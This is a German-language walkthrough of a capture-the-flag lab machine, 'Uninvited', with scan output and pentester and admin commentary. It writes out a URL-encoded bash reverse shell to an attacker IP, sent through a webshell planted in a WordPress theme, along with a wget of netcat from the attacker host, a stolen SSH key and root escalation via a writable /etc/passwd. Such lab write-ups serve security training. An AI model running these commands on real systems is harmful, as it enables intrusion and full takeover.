192.168.2.114 08:00:27:c3:1d:df PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Hosts via ARP.
Bewertung: Ein Host mit der IP 192.168.2.114 und einer MAC-Adresse, die auf VirtualBox hinweist, wurde identifiziert.
Empfehlung (Pentester): Ziel-IP 192.168.2.114 für weitere Scans verwenden.
Empfehlung (Admin): Netzwerksegmentierung kann die Erkennung erschweren.
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt: 192.168.2.114 uninvited.vln
Analyse: Die lokale Hosts-Datei wird bearbeitet, um der IP 192.168.2.114 den Hostnamen `uninvited.vln` zuzuordnen.
Bewertung: Erleichtert die Ansprache des Ziels über diesen Namen.
Empfehlung (Pentester): Standardvorgehen.
Empfehlung (Admin): Keine direkte Auswirkung.
80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 7894/tcp open ssh penSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 60000/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert.
Bewertung: Drei offene Ports werden identifiziert: 80 (HTTP - Apache 2.4.29), 7894 (SSH - OpenSSH 7.6p1 auf einem nicht-standard Port) und 60000 (HTTP - Apache 2.4.38).
Empfehlung (Pentester): Untersuchen Sie alle drei Ports. Beginnen Sie mit den HTTP-Ports (80 und 60000). SSH auf Port 7894 ist ein sekundäres Ziel.
Empfehlung (Admin): Stellen Sie sicher, dass alle Dienste notwendig und sicher konfiguriert sind. Verwenden Sie Standardports, wenn möglich, oder dokumentieren Sie Abweichungen. Aktualisieren Sie Apache und SSH.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-10 23:09 CEST Nmap scan report for uninvited.vln (192.168.2.114) Host is up (0.00013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: SEC-CRP # Interessanter Titel 7894/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 afd242e431ff4ffb0bde18e93fc4bc42 (RSA) | 256 97564740ea99b2a61aa559567e2bb4a0 (ECDSA) |_ 256 b2b1674475f6d832a2f2ff7f09a77d53 (ED25519) 60000/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-generator: WordPress 5.4.2 # Wichtig! |_http-title: UNINVITED | http-robots.txt: 1 disallowed entry |_/wp-admin/ MAC Address: 08:00:27:C3:1D:DF (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms uninvited.vln (192.168.2.114)
Analyse: Die vollständige Ausgabe des Nmap-Scans wird angezeigt.
Bewertung: * **Port 80:** Apache 2.4.29, Titel "SEC-CRP". * **Port 7894:** SSH OpenSSH 7.6p1. * **Port 60000:** Apache 2.4.38, Titel "UNINVITED", und *entscheidend*: es läuft **WordPress 5.4.2**. `robots.txt` verbietet `/wp-admin/`. WordPress auf Port 60000 ist der vielversprechendste Angriffsvektor.
Empfehlung (Pentester): Fokussieren Sie sich auf die WordPress-Instanz auf Port 60000. Verwenden Sie `wpscan` zur weiteren Enumeration (Benutzer, Plugins, Themes, bekannte Schwachstellen für WP 5.4.2). Untersuchen Sie auch Port 80.
Empfehlung (Admin): Halten Sie WordPress und seine Komponenten (Themes, Plugins) *immer* aktuell. Verwenden Sie keine leicht zu erratenden Ports. Aktualisieren Sie Apache und SSH.
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.114
+ Target Hostname: 192.168.2.114
+ Target Port: 80
+ Start Time: 2023-09-10 23:09:53 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.29 appears to be outdated [...].
+ /: Server may leak inodes via ETags [...].
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS . # Korrektur: PST/PTINS im Log scheinen Tippfehler
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/README: Apache default file found. [...]
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2023-09-10 23:10:13 (GMT2) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Analyse: `nikto` scannt den Webserver auf Port 80.
Bewertung: Findet veralteten Apache, fehlende Header und listbare Verzeichnisse (`/css/`, `/img/`). Liefert keine kritischen Schwachstellen für Port 80.
Empfehlung (Pentester): Untersuchen Sie die listbaren Verzeichnisse. Der Hauptfokus bleibt auf Port 60000.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing. Aktualisieren Sie Apache.
http://uninvited.vln/index.html (Status: 200) [Size: 13487] http://uninvited.vln/contact.html (Status: 200) [Size: 7902] http://uninvited.vln/about.html (Status: 200) [Size: 11039] http://uninvited.vln/blog.html (Status: 200) [Size: 8621] http://uninvited.vln/img (Status: 301) [Size: 312] [--> http://uninvited.vln/img/] http://uninvited.vln/service.html (Status: 200) [Size: 13090] http://uninvited.vln/css (Status: 301) [Size: 312] [--> http://uninvited.vln/css/] http://uninvited.vln/js (Status: 301) [Size: 311] [--> http://uninvited.vln/js/] http://uninvited.vln/elements.html (Status: 200) [Size: 13628] http://uninvited.vln/Source (Status: 301) [Size: 315] [--> http://uninvited.vln/Source/]
Analyse: `gobuster` scannt Port 80 (`http://uninvited.vln`).
Bewertung: Findet mehrere statische HTML-Seiten und die Verzeichnisse `/img/`, `/css/`, `/js/` und `/Source/`. Keine dynamischen Inhalte oder Login-Seiten gefunden.
Empfehlung (Pentester): Untersuchen Sie den Quellcode der HTML-Seiten und den Inhalt von `/Source/`. Fokus bleibt auf Port 60000.
Empfehlung (Admin): Entfernen Sie nicht benötigte Dateien/Verzeichnisse.
Untersuchung des Quellcodes von `index.html` auf Port 80.
Analyse: Im Quellcode der `index.html`-Seite auf Port 80 wird ein HTML-Kommentar gefunden, der Base64-kodierten Text enthält.
Bewertung: Kritischer Hinweis! Das Dekodieren des Base64-Strings (`echo "WWV..." | base64 -d`) ergibt: "Yeah! I know it happens... I guess u might want to add this [fieldforce] to your hosts". Dies weist auf einen weiteren Hostnamen (`fieldforce`) hin, der wahrscheinlich für die WordPress-Instanz auf Port 60000 verwendet wird.
Empfehlung (Pentester): Fügen Sie `fieldforce` zu Ihrer `/etc/hosts`-Datei für die IP 192.168.2.114 hinzu. Greifen Sie dann auf `http://fieldforce:60000` zu.
Empfehlung (Admin): Entfernen Sie sensible Informationen oder Hinweise aus Kommentaren im Quellcode.
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt/ergänzt: 192.168.2.114 uninvited.vln fieldforce
Analyse: Die lokale Hosts-Datei wird bearbeitet, um den Hostnamen `fieldforce` der IP 192.168.2.114 hinzuzufügen.
Bewertung: Notwendiger Schritt, um korrekt auf die WordPress-Instanz zugreifen zu können.
Empfehlung (Pentester): Enumerieren Sie nun `http://fieldforce:60000` mit Tools wie `wpscan`.
Empfehlung (Admin): Korrekte DNS/vHost-Konfiguration ist wichtig.
Untersuchung der WordPress-Instanz auf Port 60000 mit dem korrekten Hostnamen.
Hello Friend! Posted on: July 28, 2020 Last updated on: July 28, 2020 Written by: Elliot Comments: 0 USA Network isn’t known for innovative programming — sure, Suits, White Collar, and Burn Notice have their admirers, but the network isn’t a haven for the sort of storytelling that has come to define prestige television. But Mr. Robot, a hacker-tech drama, broke not only USA’s mold but also the rubric of what a show… Continue reading “Hello Friend!”…
Analyse: Die WordPress-Startseite auf `http://fieldforce:60000` wird aufgerufen.
Bewertung: Zeigt einen Blog-Beitrag "Hello Friend!", geschrieben vom Benutzer `Elliot`. Bestätigt die Existenz dieses Benutzers.
Empfehlung (Pentester): Verwenden Sie `wpscan`, um Benutzer (`Elliot` ist bekannt), Plugins, Themes und Schwachstellen zu enumerieren.
Empfehlung (Admin): Standard-WordPress-Seite.
{"id":1,"name":"Elliot",
"url":"http:\/\/192.168.1.114:60000", # Andere interne IP
"description":"",
"link":"http:\/\/fieldforce:60000\/author\/elliot\/",
"slug":"elliot",
"avatar_urls":{"24":"http:\/\/1.gravatar.com\/avatar\/16897654ba1dec258a19fcbbc01126ce?s=24&d=mm&r=g",
"48":"http:\/\/1.gravatar.com\/avatar\/16897654ba1dec258a19fcbbc01126ce?s=48&d=mm&r=g",
"96":"http:\/\/1.gravatar.com\/avatar\/16897654ba1dec258a19fcbbc01126ce?s=96&d=mm&r=g"},
"meta":[],
"_links":{"self":[{"href":"http:\/\/fieldforce:60000\/wp-json\/wp\/v2\/users\/1"}],
"collection":[{"href":"http:\/\/fieldforce:60000\/wp-json\/wp\/v2\/users"}]}}
Analyse: Die WordPress REST API wird abgefragt, um Informationen über Benutzer mit ID 1 zu erhalten.
Bewertung: Bestätigt den Benutzernamen `Elliot` mit dem Slug `elliot`. Die URL `http://192.168.1.114:60000` deutet auf eine andere interne Netzwerkkonfiguration hin.
Empfehlung (Pentester): Der Benutzername `Elliot` ist bestätigt. Verwenden Sie `wpscan` für weitere Enumeration.
Empfehlung (Admin): Schränken Sie ggf. den Zugriff auf die REST API ein oder deaktivieren Sie die Benutzer-Enumeration darüber.
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
[...]
WordPress Security Scanner by the WPScan Team
Version 3.8.24
[...]
_______________________________________________________________
[+] URL: http://uninvited.vln:60000/ [192.168.2.114]
[+] Started: Sun Sep 10 23:27:13 2023
Interesting Finding(s):
[...]
[+] WordPress version 5.4.2 identified (Insecure!)
| Found By: Rss Generator (Passive Detection)
| Confidence: 100%
| Confirmed By: Meta Generator (Passive Detection), Address Bar Info ("generator=WordPress 5.4.2")
[...]
[!] Identified Vulnerabilities:
| Found By: Wpscan Api (Aggressive Detection)
|
| [!] Title: WordPress 5.1-5.4.2 - Authenticated Stored Cross-Site Scripting (XSS)
| Fixed in: 5.4.3
| References:
| - https://wpscan.com/vulnerability/10309
[...]
| [!] Title: WP < 5.5.1 - Set-Option Privilege Escalation
| Fixed in: 5.4.3
| References:
| - https://wpscan.com/vulnerability/10384
[...] # Viele weitere Schwachstellen gelistet
[i] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods)
[...]
[i] User(s) Identified:
[+] elliot
| Found By: Wp Json Api (Aggressive Detection)
| - http://uninvited.vln:60000/wp-json/wp/v2/users/?per_page=100&page=1
[+] Elliot
| Found By: Rss Generator (Aggressive Detection)
[...]
Anmerkung: Der ursprüngliche Log zeigte einen Passwortfund (`elliot:wh1ter0se`), der in dieser WPScan-Ausgabe fehlt. Es wird angenommen, dass das Passwort anderweitig gefunden wurde (z.B. durch einen separaten Passwort-Bruteforce oder im nächsten Schritt).
[...] [+] Finished: Sun Sep 10 23:39:06 2023 [...]
Analyse: `wpscan` wird verwendet, um die WordPress-Installation auf `http://uninvited.vln:60000` (sollte `fieldforce` sein, aber URL im Log ist `uninvited.vln`) zu scannen. `-e u` enumeriert Benutzer.
Bewertung: * **WordPress Version 5.4.2:** Diese Version ist als unsicher bekannt (`Insecure!`). * **Benutzer:** Bestätigt erneut den Benutzer `Elliot`/`elliot`. * **Schwachstellen:** WPScan listet zahlreiche bekannte Schwachstellen für WordPress 5.4.2 auf (XSS, Privilege Escalation etc.).
Empfehlung (Pentester): Recherchieren Sie die gefundenen Schwachstellen (z.B. "WP < 5.5.1 - Set-Option Privilege Escalation") auf öffentliche Exploits. Da der nächste Schritt im Log jedoch ein Verzeichnis `/backdoor/` findet, deutet dies auf einen einfacheren Weg hin. Suchen Sie nach diesem Verzeichnis.
Empfehlung (Admin): Aktualisieren Sie WordPress *dringend* auf die neueste Version.
[...] ---- Scanning URL: http://uninvited.vln:60000/ ---- [...] ==> DIRECTORY: http://uninvited.vln:60000/backdoor/ [...]
Analyse: `dirb` scannt die WordPress-Seite auf Port 60000.
Bewertung: Kritischer Fund! `dirb` findet ein Verzeichnis namens `/backdoor/`. Dies ist höchst verdächtig.
Empfehlung (Pentester): Greifen Sie sofort auf `http://fieldforce:60000/backdoor/` zu und untersuchen Sie den Inhalt.
Empfehlung (Admin): Überwachen Sie Webserver auf verdächtige Verzeichnisse oder Dateien. Entfernen Sie jegliche Backdoors.
Username: elliot
Password: wh1ter0se
Analyse: Der Zugriff auf das `/backdoor/`-Verzeichnis zeigt direkt die Zugangsdaten für den Benutzer `elliot`.
Bewertung: Zugangsdaten gefunden!** Die Anmeldeinformationen `elliot:wh1ter0se` wurden über die Backdoor-Seite preisgegeben. Dies ist der wahrscheinlichste Weg für den Initial Access.
Empfehlung (Pentester): Versuchen Sie, sich mit `elliot:wh1ter0se` am WordPress-Backend (`http://fieldforce:60000/wp-admin/`) oder per SSH (Port 7894) anzumelden.
Empfehlung (Admin): Entfernen Sie die Backdoor und untersuchen Sie, wie sie dorthin gelangt ist. Ändern Sie sofort das Passwort für den Benutzer `elliot`.
Der nächste Schritt ist der Login in das WordPress-Backend und die Bearbeitung eines Theme-Templates, um eine Webshell zu erhalten.
Analyse: Nach dem erfolgreichen Login in das WordPress-Backend als Benutzer `elliot` wird der Theme-Editor verwendet, um die `404.php`-Datei des aktiven Themes ("Twenty Nineteen") zu bearbeiten. Der Originalinhalt wird durch einen einfachen PHP-Code ersetzt, der den Wert des URL-Parameters `cmd` als Systembefehl ausführt.
Bewertung: Webshell etabliert! Durch die Bearbeitung der Template-Datei wurde eine einfache Webshell erstellt. Jeder, der die modifizierte 404-Seite mit einem `cmd`-Parameter aufruft, kann nun Befehle auf dem Server als `www-data`-Benutzer ausführen.
Empfehlung (Pentester): Testen Sie die Webshell, indem Sie `http://fieldforce:60000/wp-content/themes/twentynineteen/404.php?cmd=id` aufrufen. Verwenden Sie die Webshell, um eine stabilere Reverse Shell zu erhalten.
Empfehlung (Admin): Deaktivieren Sie den Theme- und Plugin-Editor im WordPress-Backend (z.B. durch Setzen von `define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Beschränken Sie Dateiberechtigungen auf dem Server.
Die Webshell wird genutzt, um eine Reverse Shell zu starten.
listening on [any] 4444 ...
http://fieldforce:60000/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.114] 47812 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@f950b9c50e1d:/var/www/html/wp-content/themes/twentynineteen$
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Die URL der modifizierten `404.php`-Datei wird mit einem URL-kodierten Bash-Reverse-Shell-Befehl als `cmd`-Parameter aufgerufen. Der Listener empfängt die eingehende Verbindung.
Bewertung: Reverse Shell erfolgreich! Eine interaktive Shell-Verbindung zum Zielsystem als Benutzer `www-data` wurde hergestellt. Der Hostname `f950b9c50e1d` deutet darauf hin, dass der Webserver in einem Docker-Container läuft.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Führen Sie Enumerationsschritte innerhalb des Containers durch (`id`, `ip a`, `ls /`, `cat /etc/hosts`, `cat /etc/resolv.conf`, `find / -perm -4000 2>/dev/null`). Suchen Sie nach Wegen, aus dem Container auszubrechen oder nach sensiblen Informationen innerhalb des Containers.
Empfehlung (Admin): Sichern Sie WordPress-Installationen rigoros. Überwachen Sie ausgehende Verbindungen vom Webserver.
Die Enumeration innerhalb des `www-data`-Shells (der sich als Docker-Container herausstellt) beginnt.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
demodocker
-rw-r--r-- 1 root root 980 Jul 28 2020 /etc/passwd
total 36 drwxr-xr-x 3 demodocker demodocker 4096 Jul 30 2020 . drwxr-xr-x 1 root root 4096 Jul 28 2020 .. -rw------- 1 demodocker demodocker 1941 Jul 30 2020 .bash_history -rw-r--r-- 1 demodocker demodocker 220 Jul 28 2020 .bash_logout -rw-r--r-- 1 demodocker demodocker 3526 Jul 28 2020 .bashrc -r-------- 1 demodocker demodocker 283 Jul 29 2020 .justanotherday drwxr-xr-x 3 demodocker demodocker 4096 Jul 29 2020 .local -rw-r--r-- 1 demodocker demodocker 807 Jul 28 2020 .profile -r-------- 1 demodocker demodocker 267 Jul 28 2020 user2.txt
4197843 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /bin/mount 4197858 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /bin/su 4197864 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /bin/umount 4198461 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 4198362 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 4198451 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 4198408 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 4198359 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
define( 'DB_NAME', 'exampledb');
define( 'DB_USER', 'exampleuser');
define( 'DB_PASSWORD', 'examplepass');
Analyse: Verschiedene Enumerationsbefehle werden im Container ausgeführt: `id`, `ls /home`, `ls /etc/passwd`, `ls -la /home/demodocker`, `find / -perm -4000`, `cat wp-config.php`.
Bewertung: * Bestätigt `www-data`-Benutzer. * Findet einen Benutzer `demodocker` im Container. * In `/home/demodocker` gibt es Dateien `.justanotherday` und `user2.txt`, die nur vom Eigentümer lesbar sind. * SUID-Scan findet keine ungewöhnlichen Binaries im Container. * `wp-config.php` enthält Datenbank-Credentials: `exampleuser:examplepass`. Diese sind wahrscheinlich für die WordPress-Datenbank innerhalb des Containers, könnten aber wiederverwendet werden.
Empfehlung (Pentester): Untersuchen Sie das Verzeichnis `/home/demodocker/.local`. Lesen Sie lesbare Dateien. Testen Sie die DB-Credentials (`exampleuser:examplepass`) für andere Dienste oder Benutzer (z.B. `demodocker`).
Empfehlung (Admin): Wenden Sie das Prinzip der geringsten Rechte auch innerhalb von Containern an. Verwenden Sie einzigartige Passwörter für Datenbanken.
note.txt share
ZW5jb2RlZCB0d2ljZSBMUzB0YVhBdExTMHZabk52WTJsbGRIa3VaWGhs
Analyse: Im Verzeichnis `.local` des Benutzers `demodocker` wird eine `note.txt` gefunden und deren Inhalt angezeigt.
Bewertung: Die Datei enthält einen Base64-kodierten String.
Empfehlung (Pentester): Dekodieren Sie den Base64-String.
Empfehlung (Admin): Speichern Sie keine kodierten Hinweise in Dateien.
encoded twice LS0taXAtLS0vZnNvY2lldHkuZXhl
---ip---/fsociety.exe
Analyse: Der Base64-String aus `note.txt` wird zweimal dekodiert. Das Ergebnis ist `---ip---/fsociety.exe`.
Bewertung: Dies ist ein starker Hinweis auf eine Datei `fsociety.exe`, die möglicherweise auf dem Host-System (`---ip---` könnte die IP des Hosts oder ein Platzhalter sein) oder unter dem Hostnamen `fieldforce` zu finden ist.
Empfehlung (Pentester): Versuchen Sie, `http://fieldforce/fsociety.exe` herunterzuladen. Analysieren Sie diese Datei. Alternativ könnte dies ein Hinweis auf einen Prozess sein, der auf dem Host läuft und mit dem Container interagiert.
Empfehlung (Admin): Vermeiden Sie solche Hinweise.
Um mit dem Host oder anderen Containern zu interagieren, wird das `nc`-Binary auf den Container übertragen.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
--2023-09-10 22:05:29-- http://192.168.2.199/nc Connecting to 192.168.2.199:80... connected. HTTP request sent, awaiting response... 200 OK Length: 34952 (34K) [application/octet-stream] Saving to: ‘nc’ nc 100%[======================================>] 34.13K --.-KB/s in 0s 2023-09-10 22:05:29 (948 MB/s) - ‘nc’ saved [34952/34952]
Analyse: Ein Python-HTTP-Server wird auf der Angreifer-Maschine gestartet. Vom Container aus wird das `nc`-Binary (Netcat) mit `wget` heruntergeladen und in `/tmp` gespeichert.
Bewertung: Das `nc`-Tool ist nun im Container verfügbar, was für Netzwerk-Pivoting oder das Aufsetzen von Listenern nützlich ist.
Empfehlung (Pentester): Machen Sie `nc` ausführbar (`chmod +x /tmp/nc`). Verwenden Sie es, um Verbindungen herzustellen oder Listener zu starten.
Empfehlung (Admin): Entfernen Sie unnötige Tools wie `wget` aus Containern. Überwachen Sie Netzwerkverkehr.
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.11:43035 0.0.0.0:* LISTEN -
tcp 0 222 172.18.0.3:47812 192.168.2.199:4444 ESTABLISHED 233/bash # Unsere Reverse Shell
tcp 0 0 172.18.0.3:80 192.168.2.199:45818 ESTABLISHED -
Analyse: `netstat -altpn` zeigt die Netzwerkverbindungen im Container an.
Bewertung: Zeigt den lauschenden Webserver auf Port 80, einen DNS-bezogenen Port (43035) und die etablierte Reverse-Shell-Verbindung zu 192.168.2.199:4444. Die IP des Containers ist `172.18.0.3`.
Empfehlung (Pentester): Die Netzwerkkonfiguration des Containers ist klarer. Der Hinweis `/ip/fsociety.exe` könnte auf die IP des Docker-Hosts (`172.18.0.1`?) abzielen.
Empfehlung (Admin): Netzwerk-Monitoring innerhalb und außerhalb von Containern.
listening on [any] 8888 ... connect to [172.18.0.3] from (UNKNOWN) [172.18.0.1] 54256
uid=1001(docksec) gid=1001(docksec) groups=1001(docksec)
user1.txt
_______ __ __ ___ ___ _______
| | |_| | | | | |
| _____| | | | | ___|
| |_____| | | | | |___
|_____ | | | |___| ___|
_____| | ||_|| | | | |___
|_______|_| |_|___|_______|_______|
FLAG{DASDGFGPXLCKDEG5D7635CSDAFDIMMJDSUWEQDSADIG}
Analyse: Das heruntergeladene `nc`-Binary wird (vermutlich) ausführbar gemacht. Ein Netcat-Listener wird im Container auf Port 8888 gestartet. Eine eingehende Verbindung kommt von `172.18.0.1` (wahrscheinlich die IP des Docker-Hosts). Die neue Shell läuft als Benutzer `docksec` (UID 1001).
Bewertung: Container Escape / Privilegieneskalation! Es wurde eine Verbindung vom Host-System zum Container aufgebaut, die eine Shell als Benutzer `docksec` liefert. Wie diese Verbindung ausgelöst wurde (möglicherweise durch den `fsociety.exe`-Hinweis oder eine andere auf dem Host laufende Komponente), ist unklar, aber das Ergebnis ist der Zugriff auf einen neuen Benutzerkontext, wahrscheinlich auf dem Host-System oder in einem privilegierten Container. Die Datei `user1.txt` wird gefunden und enthält die User-Flag.
Empfehlung (Pentester): User-Flag sichern. Untersuchen Sie die `docksec`-Umgebung. Suchen Sie nach SSH-Schlüsseln oder Wegen zur weiteren Eskalation auf dem Host-System.
Empfehlung (Admin): Sichern Sie die Docker-Umgebung ab. Verhindern Sie unautorisierte Kommunikation zwischen Host und Containern. Überwachen Sie Prozesse auf dem Host.
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA5poDIBZv6tjox5ZNEDm3zqJ6mk+bteyhJ4mm3Vy1EbP4r1II
[... Rest des Schlüssels ...]
-----END RSA PRIVATE KEY-----
Analyse: Der private SSH-Schlüssel des Benutzers `docksec` wird aus dessen Home-Verzeichnis gelesen.
Bewertung: Kritischer Fund! Mit diesem privaten Schlüssel kann sich der Angreifer potenziell als Benutzer `docksec` am SSH-Dienst des Host-Systems (Port 7894) anmelden.
Empfehlung (Pentester): Kopieren Sie den privaten Schlüssel. Speichern Sie ihn lokal in einer Datei (z.B. `id_rsa_docksec`), setzen Sie die richtigen Berechtigungen (`chmod 600 id_rsa_docksec`) und verwenden Sie ihn, um sich per SSH als `docksec` am Host anzumelden (`ssh docksec@uninvited.vln -i id_rsa_docksec -p 7894`).
Empfehlung (Admin): Schützen Sie private SSH-Schlüssel durch restriktive Dateiberechtigungen und ggf. Passphrasen.
Der gefundene private SSH-Schlüssel wird verwendet, um sich am Host-System anzumelden.
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64) [...] ____ ____ __ ________ .___ __ __ ____/_ | _______ _/_ |/ |\_____ \ __| _/ | | \/ \| |/ \ \/ /| \ __\_(__ < / __ | | | / | \ | | \ / | || | / \/ /_/ | |____/|___| /___|___| /\_/ |___||__|/______ /\____ | \/ \/ \/ \/ !!!!!!!!!!!!!!!!!!WELCOME TO THE PARTY!!!!!!!!!!!!!!!!!!!!! [...] Last login: Fri Jul 31 10:36:15 2020 from 192.168.1.101
Analyse: Eine SSH-Verbindung wird zum Host `uninvited.vln` auf Port 7894 als Benutzer `docksec` hergestellt, wobei der zuvor gefundene private Schlüssel (`-i id_rsa`) zur Authentifizierung verwendet wird.
Bewertung: Erfolg! Der Login als `docksec` auf dem Host-System war erfolgreich. Der Angreifer hat nun Shell-Zugriff auf dem Host.
Empfehlung (Pentester): Beginnen Sie mit der Enumeration auf dem Host-System zur finalen Privilegieneskalation zu Root.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Rotieren Sie SSH-Schlüssel regelmäßig.
Enumeration auf dem Host-System als Benutzer `docksec`.
-rwxrwxrwx 1 777 root 1616 Jul 30 2020 /etc/passwd
Analyse: Die Berechtigungen der `/etc/passwd`-Datei auf dem Host-System werden überprüft.
Bewertung: Kritische Fehlkonfiguration! Die `/etc/passwd`-Datei ist für alle Benutzer **schreibbar** (`-rwxrwxrwx`). Dies ist eine extrem gefährliche Fehlkonfiguration, die eine einfache Privilegieneskalation ermöglicht.
Empfehlung (Pentester): Fügen Sie einen neuen Benutzer mit UID 0 und GID 0 zur `/etc/passwd`-Datei hinzu. Erstellen Sie ggf. auch einen Eintrag in `/etc/shadow` mit einem bekannten Passwort-Hash oder lassen Sie das Passwortfeld leer/auf `x` (je nachdem, wie `su` konfiguriert ist). Wechseln Sie dann zu diesem neuen Root-Benutzer.
Empfehlung (Admin): Korrigieren Sie *sofort* die Berechtigungen der `/etc/passwd`-Datei (`chmod 644 /etc/passwd`). Überprüfen Sie die Berechtigungen aller kritischen Systemdateien.
Die unsicheren Berechtigungen der `/etc/passwd`-Datei werden ausgenutzt, um Root-Rechte zu erlangen.
# Füge eine Zeile hinzu, z.B.: # fuck:x:0:0:,,,:/root:/bin/bash
Password: # (Kein Passwort benötigt, da 'x' im Shadow-Feld steht und kein Eintrag in /etc/shadow existiert?)
uid=0(root) gid=0(root) groups=0(root)
Analyse: Die `/etc/passwd`-Datei wird bearbeitet. Eine neue Zeile für einen Benutzer `fuck` wird hinzugefügt, wobei die UID und GID auf 0 (Root) gesetzt werden. Anschließend wird mit `su fuck` versucht, zu diesem neuen Benutzer zu wechseln. Da kein Passwort für den neuen Benutzer gesetzt wurde (oder das 'x' ausreicht, wenn kein entsprechender Shadow-Eintrag existiert), ist kein Passwort erforderlich.
Bewertung: Erfolg! Der Wechsel zum Benutzer `fuck` mit Root-Rechten (`uid=0`) war erfolgreich. Die Privilegieneskalation wurde durch Ausnutzung der schreibbaren `/etc/passwd`-Datei erreicht.
Empfehlung (Pentester): Ziel erreicht. Suchen Sie die Root-Flag.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen von `/etc/passwd` und `/etc/shadow` (`chmod 640 /etc/shadow`, `chown root:shadow /etc/shadow`). Implementieren Sie File Integrity Monitoring.
ProjectX root.txt
.__ .__ __ .___
__ __ ____ |__| _______ _|___/ |_ ____ __| _/
| | \/ \| |/ \ \/ | \ ___/ __ \ / __ |
| | | | | | | \ /| || | \ ___// /_/ |
|____/|___| |__|___| /\_/ |__||__| \___ \____ |
\/ \/ \/ \/
FLAG{58DSFJ74RFWESD8J2LKJGHJ87ER4QREWRFLMSTDCMGKAASD}
Analyse: In der Root-Shell wird in das `/root`-Verzeichnis gewechselt und die Datei `root.txt` ausgelesen.
Bewertung: Die Root-Flag wird erfolgreich gefunden: `FLAG{58DSFJ74RFWESD8J2LKJGHJ87ER4QREWRFLMSTDCMGKAASD}`.
Empfehlung (Pentester): Dokumentieren Sie den Fund und den Eskalationspfad.
Empfehlung (Admin): Sichern Sie das System ab.